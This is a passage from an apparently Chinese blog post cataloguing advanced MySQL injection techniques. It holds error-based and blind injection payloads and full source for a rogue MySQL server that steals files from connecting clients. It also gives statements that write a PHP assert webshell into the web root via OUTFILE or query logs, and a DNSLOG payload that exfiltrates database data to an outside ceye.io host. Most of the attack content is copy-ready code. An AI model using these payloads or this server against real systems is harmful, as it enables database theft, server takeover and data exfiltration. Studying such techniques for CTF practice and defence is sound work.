title="NAME_CONST(适用于低版本,不太好用)"></a>NAME_CONST(适用于低版本,不太好用)</h4><pre><code>?id=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)</code></pre><h4 id="Error-based-Double-Query-Injection"><a href="#Error-based-Double-Query-Injection" class="headerlink" title="Error based Double Query Injection"></a>Error based Double Query Injection</h4><pre><code>?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1</code></pre><h4 id="exp-5-5-5以上"><a href="#exp-5-5-5以上" class="headerlink" title="exp(5.5.5以上)"></a>exp(5.5.5以上)</h4><p>在 mysql 5.5 之前,整形溢出是不会报错的,根据官方文档说明<code>out-of-range-and-overflow</code>,只有版本号大于5.5.5 时,才会报错。利用<code>exp</code>函数也产生类似的溢出错误</p><pre><code>?id=1 and (select exp(~(select * from(select user())x)))</code></pre><p>当这上面的函数被ban时,我们还有许多可用的函数用于报错注入</p><h4 id="3-1-几何函数:"><a href="#3-1-几何函数:" class="headerlink" title="3-1.几何函数:"></a>3-1.几何函数:</h4><pre><code class="sql">GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))polygon():id=1 AND polygon((select * from(select * from(select user())a)b))multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))</code></pre><h4 id="基于BIGINT溢出错误的SQL注入-Mysql-gt-5-5-5-:"><a href="#基于BIGINT溢出错误的SQL注入-Mysql-gt-5-5-5-:" class="headerlink" title="基于BIGINT溢出错误的SQL注入(Mysql>5.5.5):"></a>基于BIGINT溢出错误的SQL注入(Mysql>5.5.5):</h4><p>这种注入方式有很多的运算符可用,这里举的例子就只使用其中一种,具体可参考:<a href="https://blog.csdn.net/weixin_43902454/article/details/96495984" target="_blank" rel="noopener">https://blog.csdn.net/weixin_43902454/article/details/96495984</a><br>数据库:</p><pre><code class="mysql">!(select*from(select database())x)-~0</code></pre><p>表名:</p><pre><code class="mysql">!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0</code></pre><p>列名:</p><pre><code class="mysql">select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;</code></pre><p>字段:</p><pre><code class="mysql">!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;</code></pre><h4 id="3-3-不存在的函数"><a href="#3-3-不存在的函数" class="headerlink" title="3-3.不存在的函数"></a>3-3.不存在的函数</h4><p>随便输入一个不存在的函数,可能会返回当前所在的数据库名称。</p><h4 id="3-4-name-const"><a href="#3-4-name-const" class="headerlink" title="3-4.name_const()"></a>3-4.name_const()</h4><p>仅可获取数据库版本信息<br>payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a</p><h4 id="3-5-uuid相关函数-Mysql版本8-0-x"><a href="#3-5-uuid相关函数-Mysql版本8-0-x" class="headerlink" title="3-5.uuid相关函数(Mysql版本8.0.x)"></a>3-5.uuid相关函数(Mysql版本8.0.x)</h4><p>参数格式不正确。<br>SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));<br>SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));</p><h4 id="3-6-报错函数速查表"><a href="#3-6-报错函数速查表" class="headerlink" title="3-6.报错函数速查表"></a>3-6.报错函数速查表</h4><table><thead><tr><th>类别</th><th>函数</th><th>版本需求</th><th>5.5.x</th><th>5.6.x</th><th style="">5.7.x</th><th>8.x</th><th>函数显错长度</th><th>Mysql报错内容长度</th><th>额外限制</th></tr></thead><tbody><tr><td>主键重复</td><td>floor round</td><td>?</td><td>√</td><td>√</td><td style="">√</td><td></td><td>64</td><td></td><td>data_type ≠ varchar</td></tr><tr><td>列名重复</td><td>name_const</td><td>?</td><td>√</td><td>√</td><td style="">√</td><td>√</td><td></td><td></td><td>only version()</td></tr><tr><td>列名重复</td><td>join</td><td>[5.5.49, ?)</td><td>√</td><td>√</td><td style="">√</td><td>√</td><td></td><td></td><td>only columns</td></tr><tr><td>数据溢出 - Double</td><td>1e308 cot exp pow</td><td>[5.5.5, 5.5.48]</td><td>√</td><td></td><td style=""></td><td></td><td></td><td>MYSQL_ERRMSG_SIZE</td><td></td></tr><tr><td>数据溢出 - BIGINT</td><td>1+~0</td><td>[5.5.5, 5.5.48]</td><td>√</td><td></td><td style=""></td><td></td><td></td><td>MYSQL_ERRMSG_SIZE</td><td></td></tr><tr><td>几何对象</td><td>geometrycollection linestring multipoint multipolygon multilinestring polygon</td><td>[?, 5.5.48]</td><td>√</td><td></td><td style=""></td><td></td><td></td><td>244</td><td></td></tr><tr><td>空间函数 Geohash</td><td>ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash</td><td>[5.7, ?)</td><td></td><td></td><td style="">√</td><td>√</td><td>128</td><td></td><td></td></tr><tr><td>GTID</td><td>gtid_subset gtid_subtract</td><td>[5.6.5, ?)</td><td></td><td>√</td><td style="">√</td><td>√</td><td>200</td><td></td><td></td></tr><tr><td>JSON</td><td>json_*</td><td>[5.7.8, 5.7.11]</td><td></td><td></td><td style="">√</td><td></td><td>200</td><td></td><td></td></tr><tr><td>UUID</td><td>uuid_to_bin bin_to_uuid</td><td>[8.0, ?)</td><td></td><td></td><td style=""></td><td>√</td><td>128</td><td></td><td></td></tr><tr><td>XPath</td><td>extractvalue updatexml</td><td>[5.1.5, ?)</td><td>√</td><td>√</td><td style="">√</td><td>√</td><td>32</td><td></td></tr></tbody></table><h2 id="4-文件读写"><a href="#4-文件读写" class="headerlink" title="4.文件读写"></a>4.文件读写</h2><h4 id="4-1-file-priv和secure-file-priv"><a href="#4-1-file-priv和secure-file-priv" class="headerlink" title="4-1.file_priv和secure-file-priv"></a>4-1.file_priv和secure-file-priv</h4><p>在讲Mysql文件读写之前,先要了解什么是file_priv和secure-file-priv</p><p>file_priv是对于用户的文件读写权限,若无权限则不能进行文件读写操作,可通过下述payload查询权限。</p><pre><code>select file_priv from mysql.user where user=$USER host=$HOST;</code></pre><p>secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:<br>无内容,表示无限制。</p><ul><li>为NULL,表示禁止文件读/写。</li><li>为目录名,表示仅允许对特定目录的文件进行读/写。</li></ul><p>TIPS:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。<br>三种方法查看当前secure-file-priv的值:</p><pre><code class="mysql">select @@secure_file_priv;select @@global.secure_file_priv;show variables like "secure_file_priv";</code></pre><p>两个参数的修改:<br>通过修改my.ini文件,添加:secure-file-priv=<br>启动时添加参数:mysqld.exe –secure-file-priv=</p><h4 id="4-2-读文件"><a href="#4-2-读文件" class="headerlink" title="4-2.读文件"></a>4-2.读文件</h4><p>Mysql读取文件通常使用load_file函数,语法如下:<br>select load_file(file_path);<br>第二种:<br>load data infile “/etc/passwd” into table test FIELDS TERMINATED BY ‘\n’; #读取服务端文件<br>第三种:<br>load data local infile “/etc/passwd” into table test FIELDS TERMINATED BY ‘\n’; #读取客户端文件</p><p>限制:</p><ul><li>前两种需要secure-file-priv无值或为有利目录。</li><li>都需要知道要读取的文件所在的绝对路径。</li><li>要读取的文件大小必须小于max_allowed_packet所设置的值</li></ul><h5 id="低权限读取文件"><a href="#低权限读取文件" class="headerlink" title="低权限读取文件"></a>低权限读取文件</h5><p>5.5.53secure-file-priv=NULL读文件payload,mysql8测试失败,其他版本自测。</p><pre><code class="mysql">drop table mysql.m1;CREATE TABLE mysql.m1 (code TEXT );LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';select * from mysql.m1;</code></pre><h5 id="Mysql连接数据库时可读取文件(配合SSRF-)"><a href="#Mysql连接数据库时可读取文件(配合SSRF-)" class="headerlink" title="Mysql连接数据库时可读取文件(配合SSRF?)"></a>Mysql连接数据库时可读取文件(配合SSRF?)</h5><p>这个漏洞是mysql的一个特性产生的,是上述的第三种读文件的方法为基础的。<br>简单描述该漏洞:<br>Mysql客户端在执行load data local语句的时,先向mysql服务端发送请求,服务端接收到请求,并返回需要读取的文件地址,客户端接收该地址并进行读取,接着将读取到的内容发送给服务端。用通俗的语言可以描述如下:</p><p>原本的查询流程为:<br><code><br>客户端:我要把我的win.ini文件内容插入test表中<br>服务端:好,我要你的win.ini文件内容<br>客户端:win.ini的内容如下....</code></p><p>假设服务端由我们控制,把一个正常的流程篡改成如下<br><code><br>客户端:我要把我的win.ini文件内容插入test表中<br>服务端:好,我要你的conn.php内容<br>客户端:conn.php的内容如下???<br></code><br>换句话说:load data local语句要读取的文件会受到服务端的控制。<br>其次,在Mysql官方文档对于load data local语句的安全说明中有这么一句话:</p><pre>A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.</pre><p>意思是:服务器对客户端的文件读取请求实际上是可以返回给客户端发送给服务端的任意语句请求的,不仅仅只是load data local语句。<br>这就会产生什么结果呢?之前讲的例子,将可以变成:<br><code><br>客户端:我需要查询test表下的xx内容<br>服务端:我需要你的conn.php内容<br>客户端:conn.php的内容如下???<br></code><br>可以看到,客户端相当于被攻击者给半劫持了。<br>利用上述的特性,我们通过构造一个恶意的服务端,即可完成上述的过程。<br>简易恶意服务端代码:</p><pre><code class="python">#代码摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py#!/usr/bin/env python#coding: utf8import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlersPORT = 3306log = logging.getLogger(__name__)log.setLevel(logging.DEBUG)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler(tmp_format)filelist = (# r'c:\boot.ini',r'c:\windows\win.ini',# r'c:\windows\system32\drivers\etc\hosts',# '/etc/passwd',# '/etc/shadow',)#================================================#=======No need to change after this lines=======#================================================__author__ = 'Gifts'def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null)class LastPacket(Exception): passclass OutOfOrder(Exception): passclass mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num) result = "{0}{1}".format( header, self.payload ) return result def __repr__(self): return repr(str(self)) @staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:] return mysql_packet(packet_num, payload)class http_request_handler(asynchat.async_chat): def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( '\x0a', # Protocol '3.0.0-Evil_Mysql_Server' + '\0', # Version #'5.1.66-0+squeeze1' + '\0', '\x36\x00\x00\x00', # Thread ID 'evilsalt' + '\0', # Salt '\xdf\xf7', # Capabilities '\x08', # Collation '\x02\x00', # Server Status '\0' * 13, # Unknown 'evil2222' + '\0', )) ) ) self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY'] def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data) def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data) def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = [] if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '\0': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == '\x03': log.info('Query') filename = random.choice(filelist) PACKET = mysql_packet( packet, '\xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == '\x1b': log.info('SelectDB') self.push(mysql_packet( packet, '\xfe\x00\x00\x02\x00' )) raise LastPacket() elif packet.payload[0] in '\x02': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() elif packet.payload == '\x00\x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data) if len(data) == 1: self.push( mysql_packet(packet, '\0\0\0\x02\0\0\0') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1 elif self.sub_state == 'Auth': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done()class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock) if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit() self.listen(5) def handle_accept(self): pair = self.accept() if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair)z = mysql_listener()daemonize()asyncore.loop()</code></pre><p>需要注意的是:这个过程需要客户端允许使用load data local才行,不过这个信息在客户端尝试连接到服务端的数据包中可以找到。<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%875.png" alt=""></p><h4 id="4-3-写文件:"><a href="#4-3-写文件:" class="headerlink" title="4-3.写文件:"></a>4-3.写文件:</h4><p>说完了读文件,那我们来说说mysql的写文件操作。常见的写文件操作如下:</p><pre><code class="sql">select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';</code></pre><p>限制:</p><ul><li>secure-file-priv无值或为可利用的目录</li><li>需知道目标目录的绝对目录地址</li><li>目标目录可写,mysql的权限足够</li></ul><h5 id="日志法"><a href="#日志法" class="headerlink" title="日志法"></a>日志法</h5><p>由于mysql在5.5.53版本之后,secure-file-priv的值默认为NULL,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。<br>mysql日志文件的一些相关设置可以直接通过命令来进行:</p><pre><code>//请求日志mysql> set global general_log_file = '/var/www/html/1.php';mysql> set global general_log = on;//慢查询日志mysql> set global slow_query_log_file='/var/www/html/2.php'mysql> set global slow_query_log=1;//还有其他很多日志都可以进行利用...</code></pre><p>之后我们在让数据库执行满足记录条件的恶意语句即可。</p><p>限制:</p><ul><li>权限够,可以进行日志的设置操作</li><li>知道目标目录的绝对路径</li></ul><h4 id="4-4-DNSLOG外带数据-目标系统为Windows才可用"><a href="#4-4-DNSLOG外带数据-目标系统为Windows才可用" class="headerlink" title="4-4.DNSLOG外带数据(目标系统为Windows才可用)"></a>4-4.DNSLOG外带数据(目标系统为Windows才可用)</h4><p>参考:<a href="https://www.anquanke.com/post/id/98096" target="_blank" rel="noopener" title="Dnslog在SQL注入中的实战">Dnslog在SQL注入中的实战</a><br>什么是DNSLOG?简单的说,就是关于特定网站的DNS查询的一份记录表。若A用户对B网站进行访问/请求等操作,首先会去查询B网站的DNS记录,由于B网站是被我们控制的,便可以通过某些方法记录下A用户对于B网站的DNS记录信息。此方法也称为OOB注入。</p><p>如何用DNSLOG带出数据?若我们想要查询的数据为:aabbcc,那么我们让mysql服务端去请求aabbcc.evil.com,通过记录evil.com的DNS记录,就可以得到数据:aabbcc。<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%876.png" alt=""><br>payload: </p><pre><code>load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))</code></pre><p>应用场景:</p><ul><li>三大注入无法使用</li><li>有文件读取权限及secure-file-priv无值。</li><li>不知道网站/目标文件/目标目录的绝对路径</li><li>目标系统为Windows</li></ul><p>为什么Windows可用,Linux不行?这里涉及到一个叫UNC的知识点。<br>简单的说,在Windows中,路径以\开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOG在Linux环境不适用。注:payload里的四个\\中的两个\是用来进行转义处理的。</p><h2 id="5-二次注入"><a href="#5-二次注入" class="headerlink" title="5.二次注入"></a>5.二次注入</h2><p>原理大概是服务器储存用户信息时,使用了addslashes()等函数转义用户输入的敏感字符,但取出用户信息时未做转义处理,从而引发二次注入<br>具体就不说了,网上讲解有很多</p><h2 id="6-堆叠注入"><a href="#6-堆叠注入" class="headerlink" title="6.堆叠注入"></a>6.堆叠注入</h2><p>原理就不说了,堆叠注入可以使用很多骚操作来绕过普通sql注入的限制,如函数预处理、函数自定义,handler查询等<br>函数预处理:参考<a href="http://pipinstall.cn/强网杯随便注/" target="_blank" rel="noopener" title="[强网杯]随便注">[强网杯]随便注</a><br>符号自定义:参考<a href="http://pipinstall.cn/suctf-2019easysql/" target="_blank" rel="noopener" title="[SUCTF 2019]EasySQL">[SUCTF 2019]EasySQL</a><br>handler语句代替select查询:参考<a href="http://pipinstall.cn/gyctf2020blacklist/" target="_blank" rel="noopener" title="[GYCTF2020]Blacklist">[GYCTF2020]Blacklist</a></p><p>PHP中堆叠注入的支持情况:<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%877.png" alt=""></p><h2 id="7-sql注入用到的常见函数-符号归类"><a href="#7-sql注入用到的常见函数-符号归类" class="headerlink" title="7.sql注入用到的常见函数/符号归类"></a>7.sql注入用到的常见函数/符号归类</h2><p>Yunen师傅总结得很全面,这里就直接照搬了:<a href="https://xz.aliyun.com/t/7169#toc-37" target="_blank" rel="noopener" title="传送门">传送门</a></p><h4 id="7-1-注释符"><a href="#7-1-注释符" class="headerlink" title="7-1.注释符"></a>7-1.注释符</h4><table><thead><tr><th>单行注释</th><th>单行注释</th><th>单行注释</th><th>多行(内联)注释</th></tr></thead><tbody><tr><td><code>#</code></td><td><code>-- x //x为任意字符</code></td><td><code>;%00</code></td><td><code>/*任意内容*/</code></td></tr></tbody></table><h4 id="7-2-常用运算符"><a href="#7-2-常用运算符" class="headerlink" title="7-2.常用运算符"></a>7-2.常用运算符</h4><table><thead><tr><th>运算符</th><th>说明</th><th>运算符</th><th>说明</th></tr></thead><tbody><tr><td>&&</td><td>与,同and。</td><td>\</td><td>\</td><td></td><td>或,同or。</td></tr><tr><td>!</td><td>非,同not。</td><td>~</td><td>一元比特反转。</td></tr><tr><td>^</td><td>异或,同xor。</td><td>+</td><td>加,可替代空格,如<code>select+user()</code>。</td></tr></tbody></table><h4 id="7-3-系统信息函数"><a href="#7-3-系统信息函数" class="headerlink" title="7-3.系统信息函数"></a>7-3.系统信息函数</h4><table><thead><tr><th>函数</th><th>说明</th></tr></thead><tbody><tr><td>USER()</td><td>获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()。</td></tr><tr><td>DATABASE()</td><td>获取当前选择的数据库名,同SCHEMA()。</td></tr><tr><td>VERSION()</td><td>获取当前版本信息。</td></tr></tbody></table><h4 id="7-4-进制转换"><a href="#7-4-进制转换" class="headerlink" title="7-4.进制转换"></a>7-4.进制转换</h4><table><thead><tr><th>函数</th><th>说明</th></tr></thead><tbody><tr><td>ORD(str)</td><td>返回字符串第一个字符的ASCII值。</td></tr><tr><td>OCT(N)</td><td>以字符串形式返回 <code>N</code> 的八进制数,<code>N</code> 是一个BIGINT 型数值,作用相当于<code>CONV(N,10,8)</code>。</td></tr><tr><td>HEX(N_S)</td><td>参数为字符串时,返回 <code>N_or_S</code> 的16进制字符串形式,为数字时,返回其16进制数形式。</td></tr><tr><td>UNHEX(str)</td><td><code>HEX(str)</code> 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。</td></tr><tr><td>BIN(N)</td><td>返回十进制数值 <code>N</code> 的二进制数值的字符串表现形式。</td></tr><tr><td>ASCII(str)</td><td>同<code>ORD(string)</code>。</td></tr><tr><td>CONV(N,from_base,to_base)</td><td>将数值型参数 <code>N</code> 由初始进制 <code>from_base</code> 转换为目标进制 <code>to_base</code> 的形式并返回。</td></tr><tr><td>CHAR(N,... [USING charset_name])</td><td>将每一个参数 <code>N</code> 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。</td></tr></tbody></table><h4 id="7-5-字符截取-拼接"><a href="#7-5-字符截取-拼接" class="headerlink" title="7-5.字符截取/拼接"></a>7-5.字符截取/拼接</h4><table><thead><tr><th>函数</th><th>说明</th></tr></thead><tbody><tr><td>SUBSTR(str,N_start,N_length)</td><td>对指定字符串进行截取,为SUBSTRING的简单版。</td></tr><tr><td>SUBSTRING()</td><td>多种格式<code>SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)</code>。</td></tr><tr><td>RIGHT(str,len)</td><td>对指定字符串从<strong>最右边</strong>截取指定长度。</td></tr><tr><td>LEFT(str,len)</td><td>对指定字符串从<strong>最左边</strong>截取指定长度。</td></tr><tr><td>RPAD(str,len,padstr)</td><td>在 <code>str</code> 右方补齐 <code>len</code> 位的字符串 <code>padstr</code>,返回新字符串。如果 <code>str</code> 长度大于 <code>len</code>,则返回值的长度将缩减到 <code>len</code> 所指定的长度。</td></tr><tr><td>LPAD(str,len,padstr)</td><td>与RPAD相似,在<code>str</code>左边补齐。</td></tr><tr><td>MID(str,pos,len)</td><td>同于 <code>SUBSTRING(str,pos,len)</code>。</td></tr><tr><td>INSERT(str,pos,len,newstr)</td><td>在原始字符串 <code>str</code> 中,将自左数第 <code>pos</code> 位开始,长度为 <code>len</code> 个字符的字符串替换为新字符串 <code>newstr</code>,然后返回经过替换后的字符串。<code>INSERT(str,len,1,0x0)</code>可当做截取函数。</td></tr><tr><td>CONCAT(str1,str2...)</td><td>函数用于将多个字符串合并为一个字符串</td></tr><tr><td>GROUP_CONCAT(...)</td><td>返回一个字符串结果,该结果由分组中的值连接组合而成。</td></tr><tr><td>MAKE_SET(bits,str1,str2,...)</td><td>根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:<code>EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))</code>。</td></tr></tbody></table><h4 id="7-6-常见全局变量"><a href="#7-6-常见全局变量" class="headerlink" title="7-6.常见全局变量"></a>7-6.常见全局变量</h4><table><thead><tr><th>变量</th><th>说明</th><th>变量</th><th>说明</th></tr></thead><tbody><tr><td>@@VERSION</td><td>返回版本信息</td><td>@@HOSTNAME</td><td>返回安装的计算机名称</td></tr><tr><td>@@GLOBAL.VERSION</td><td>同<code>@@VERSION</code></td><td>@@BASEDIR</td><td>返回MYSQL绝对路径</td></tr></tbody></table><p>PS:查看全部全局变量<code>SHOW GLOBAL VARIABLES;</code>。</p>#### 7-7.其他常用函数/语句<table><thead><tr><th>函数/语句</th><th>说明</th></tr></thead><tbody><tr><td>LENGTH(str)</td><td>返回字符串的长度。</td></tr><tr><td>PI()</td><td>返回π的具体数值。</td></tr><tr><td>REGEXP "statement"</td><td>正则匹配数据,返回值为布尔值。</td></tr><tr><td>LIKE "statement"</td><td>匹配数据,%代表任意内容。返回值为布尔值。</td></tr><tr><td>RLIKE "statement"</td><td>与regexp相同。</td></tr><tr><td>LOCATE(substr,str,[pos])</td><td>返回子字符串第一次出现的位置。</td></tr><tr><td>POSITION(substr IN str)</td><td>等同于 <code>LOCATE()</code>。</td></tr><tr><td>LOWER(str)</td><td>将字符串的大写字母全部转成小写。同:<code>LCASE(str)</code>。</td></tr><tr><td>UPPER(str)</td><td>将字符串的小写字母全部转成大写。同:<code>UCASE(str)</code>。</td></tr><tr><td>ELT(N,str1,str2,str3,...)</td><td>与<code>MAKE_SET(bit,str1,str2...)</code>类似,根据<code>N</code>返回参数值。</td></tr><tr><td>NULLIF(expr1,expr2)</td><td>若expr1与expr2相同,则返回expr1,否则返回NULL。</td></tr><tr><td>CHARSET(str)</td><td>返回字符串使用的字符集。</td></tr><tr><td>DECODE(<em>crypt_str</em>,<em>pass_str</em>)</td><td>使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:<code>ENCODE(str,pass_str)</code>。</td></tr></tbody></table><h2 id="8-一些特殊的注入方式"><a href="#8-一些特殊的注入方式" class="headerlink" title="8.一些特殊的注入方式"></a>8.一些特殊的注入方式</h2><h4 id="8-1-order-by-大小比较盲注:"><a href="#8-1-order-by-大小比较盲注:" class="headerlink" title="8-1.order by 大小比较盲注:"></a>8-1.order by 大小比较盲注:</h4><p>参考链接:<a href="https://blog.csdn.net/miuzzx/article/details/104908543" target="_blank" rel="noopener">https://blog.csdn.net/miuzzx/article/details/104908543</a><br>使用条件:<br>当遇到的盲注题过滤了括号,且知道username和password的单独回显时,便可考虑使用该方法<br>例子:</p><pre><code>select * from users where (select 'r' union select user() order by 1 limit 1)='r'</code></pre><p>实际上此处是利用了order by语句的排序功能来进行判断的。若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后,则limit语句将不会让其输出,那么整个条件将会成立,否之不成立。<br>利用这种方法可以做到不需要使用like、rlike、regexp等匹配语句以及字符操作函数。</p><p>再举个例子:</p><pre><code class="mysql">select username,flag,password from users where username='$username;'</code></pre><p>页面回显的字段为:username与password,如何在union与flag两单词被拦截、无报错信息返回的情况下获取到用户名为admin的flag值?</p><p>我们前边讲到了无列名注入,通过使用union语句来对未知列名进行重命名的形式绕过,还讲过通过使用join using()报错注入出列名。但现在,这两种方法都不可以的情况下该如何获取到flag字段的内容?</p><p>使用order by可轻松盲注出答案。payload:</p><pre><code class="mysql">select username,flag,password from users where username='admin' union select 1,'a',3 order by 2</code></pre><p>与之前的原理相同,通过判断前后两个select语句返回的数据前后顺序来进行盲注。</p><h4 id="8-2-约束攻击"><a href="#8-2-约束攻击" class="headerlink" title="8-2.约束攻击"></a>8-2.约束攻击</h4><p>先举个例子:<br>建立一个用户表:做了25个字符的限制</p><pre><code class="sql">CREATE TABLE users( username varchar(25), password varchar(25))</code></pre><p>注册代码:</p><pre><code class="php"><?php$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");if (!$conn) { die("Connection failed: " . mysqli_connect_error());}$username = addslashes(@$_POST['username']);$password = addslashes(@$_POST['password']);$sql = "select * from users where username = '$username'";$rs = mysqli_query($conn,$sql);if($rs->fetch_row()){ die('账号已注册');}else{ $sql2 = "insert into users values('$username','$password')"; mysqli_query($conn,$sql2); die('注册成功');}?></code></pre><p>登录判断代码:</p><pre><code class="php"><?php$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");if (!$conn) { die("Connection failed: " . mysqli_connect_error());}$username = addslashes(@$_POST['username']);$password = addslashes(@$_POST['password']);$sql = "select * from users where username = '$username' and password='$password';";$rs = mysqli_query($conn,$sql);if($rs->fetch_row()){ $_SESSION['username']=$password;}else{ echo "fail";}?></code></pre><p>上面的代码无编码问题,且对用户输入做了单引号处理,但是前边创建表格的语句限制了username和password的长度最大为20,若我们插入数据超过25,MYSQL则会截取前边的25个字符进行插入。</p><p>而对于SELECT查询请求,若查询的数据超过25长度,也不会进行截取操作,这就产生了一个问题。</p><p>通常对于注册处的代码来说,需要先判断注册的用户名是否存在,再进行插入数据操作。如我们注册一个username=admin[25个空格]&password=123456的账号,服务器会先查询admin[25个空格]x的用户是否存在,若存在,则不能注册。若不存在,则进行插入数据的操作。而此处我们限制了username与password字段长度最大为25,所以我们实际插入的数据为username=admin[20个空格]&password=123456。</p><p>接着进行登录的时,我们使用:username=admin&password=123456进行登录,即可成功登录admin的账号。</p><p>防御:</p><ul><li>给username字段添加<a href="https://www.w3school.com.cn/sql/sql_unique.asp" target="_blank" rel="noopener" title="unique属性">unique属性</a>。</li><li>使用id字段作为判断用户的凭证。</li><li>插入数据前判断数据长度。</li></ul><h4 id="8-3-异或注入"><a href="#8-3-异或注入" class="headerlink" title="8-3.异或注入"></a>8-3.异或注入</h4><p>应用场景:<br>当我们在尝试SQL注入时,发现union,and和注释符被完全过滤掉了,那么就可以考虑使用异或注入<br>异或运算规则:<br>1^1=0 0^0=0 0^1=1<br>1^1^1=0 1^1^0=0<br>payload:’^ascii(mid(database(),1,1)=98)^0</p><p>注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的</p><p>例题可参考<br><a href="http://pipinstall.cn/ciscn2019-华北赛区-day2-web1hack-world/" target="_blank" rel="noopener" title="[CISCN2019 华北赛区 Day2 Web1]Hack 